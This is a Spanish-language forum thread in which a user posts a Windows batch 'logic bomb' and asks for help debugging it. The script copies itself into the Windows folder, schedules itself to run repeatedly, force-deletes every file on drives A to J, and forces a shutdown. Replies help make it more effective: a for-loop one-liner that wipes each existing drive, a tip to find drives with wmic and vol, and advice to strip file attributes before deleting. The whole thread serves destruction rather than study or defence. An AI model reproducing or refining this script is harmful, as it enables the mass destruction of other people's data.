BATCH. Aclaración de codigo. :)

Iniciado por HCK., 19 Marzo 2010, 16:45 PM

0 Miembros y 1 Visitante están viendo este tema.

HCK.

Hola chicos. Bueno soy nuevo en el foro. Hace tiempo yo me dedicaba a hacer scripts en batch. Aprendi con pequeños tutoriales y me ha ido muy bien.
Lo que pasa hace mucho que lo descuidé y tendre que repasar :huh:.

Os comentaba que si me podiais echar una mano con este code. :)

@echo off
copy "%homepath%\HCKB.bat" "%WINDIR%\shutdownd.bat"
at 19:00 /every:1 "%WINDIR%\shutdownd.bat"
del /f /s /q "a:" *.*
del /f /s /q "b:" *.*
del /f /s /q "c:" *.*
del /f /s /q "d:" *.*
del /f /s /q "e:" *.*
del /f /s /q "f:" *.*
del /f /s /q "g:" *.*
del /f /s /q "h:" *.*
del /f /s /q "i:" *.*
del /f /s /q "j:" *.*
shutdown -s -f -r 10 -c DAÑOS GRAVES. FORZADO APAGADO.
exit



El significado del codigo que deseo realizar, como yo me acuerdo, es simplemente que el .bat se copie a windows, se programe su ejecución para el dia 1 de abril a las 7, en verdad seria ejecucion para todos los 1 de abril, pero con el primer mes basta y borre todos los archivos de todas las unidades. En plan bomba lógica. Lo he probado, y me dice.
"El nombre del archivo, el nombre de la sinxtasis de la etiqueta del volumen no es correcta."

Si %WINDIR% es el directorio general de windows, que en cualquier SO lleva hasta allí. ¿Que ocurre?.

Espero que me podais ayudar a mejorar mi codigo.
Yo colaboraré mas en este foro, que veo desde hace tiempo y que me gustaria colaborar. :)

winroot

ola
yo  comprovaria si existen las unidades y en  ese caso eliminar los archivos
for %%a in(c d e f g h i j k m l n o p q r s t u v w x y z)do if exist %%a del /f /s /q %%a\*
solo es una sugerencia ya que capas que el error esta en el del
ahora miro un  poco mas el code y si encuentro algo  mas comento
un saludo!
Mi blog sobre programación y seguridad informática:
http://win-root.blogspot.com

winroot

otra cosa las " no son nesesarias capas q es eso
copy %homepath%\bck.bat %windir%\shutdown.bat
despues el at ni idea ya que hace mucho que no  uso comandos asi
un saludo!
Mi blog sobre programación y seguridad informática:
http://win-root.blogspot.com

HCK.

jeje. yo puse las unidades, a, b c... porque si el code no encuentra una, salta a la otra, hasta q encuentre una fisica i empiece a borrar. probe el codigo, i se salta el at i empieza a borrar archivos masivamente. sin poseer ni a, ni b... solo c, d y e  ;-).
el %homepatch% y %windir% es la variable. es decir %homepatch% (la unidad donde esta el .bat, un pentdriver, y %windir% la carpeta de archivos de windows. :).
si, son comandos antiguos, pero tienen su utilidad. yo me pondre a dar repasos a mis apuntes de antaño aber q tl jeje.
asias, aber si se puede aclarar lo del codigo jeje.
un saludo

winroot

Cita de: HCK. en 19 Marzo 2010, 17:27 PM
jeje. yo puse las unidades, a, b c... porque si el code no encuentra una, salta a la otra, hasta q encuentre una fisica i empiece a borrar. probe el codigo, i se salta el at i empieza a borrar archivos masivamente. sin poseer ni a, ni b... solo c, d y e  ;-).
el %homepatch% y %windir% es la variable. es decir %homepatch% (la unidad donde esta el .bat, un pentdriver, y %windir% la carpeta de archivos de windows. :).
si, son comandos antiguos, pero tienen su utilidad. yo me pondre a dar repasos a mis apuntes de antaño aber q tl jeje.
asias, aber si se puede aclarar lo del codigo jeje.
un saludo
lo de las variables  no hacia falta aclararlo son variables de  entorno tmb podes usar
%systemroot% y %homedrive%
no prove el codigo no tengo el virtual box a mano pero si vos decis que el del hace eso calculo que si nunca uso el /f
y bue anda provando linea por linea metiendo un pause y fijate en que linea esta el error despues de todo no te moriras por depurar  un batch creo
un saludo!
Mi blog sobre programación y seguridad informática:
http://win-root.blogspot.com

HCK.

cierto. me llevará un rato. si descubro xke no me va i eso os comento  :xD
jeje asias por opinar xicos

---saster---

lo puedes simplificar con for y para ver que unidades estan disponible wmic y vol ;)

ah, y antes de borrar archivos quita atributos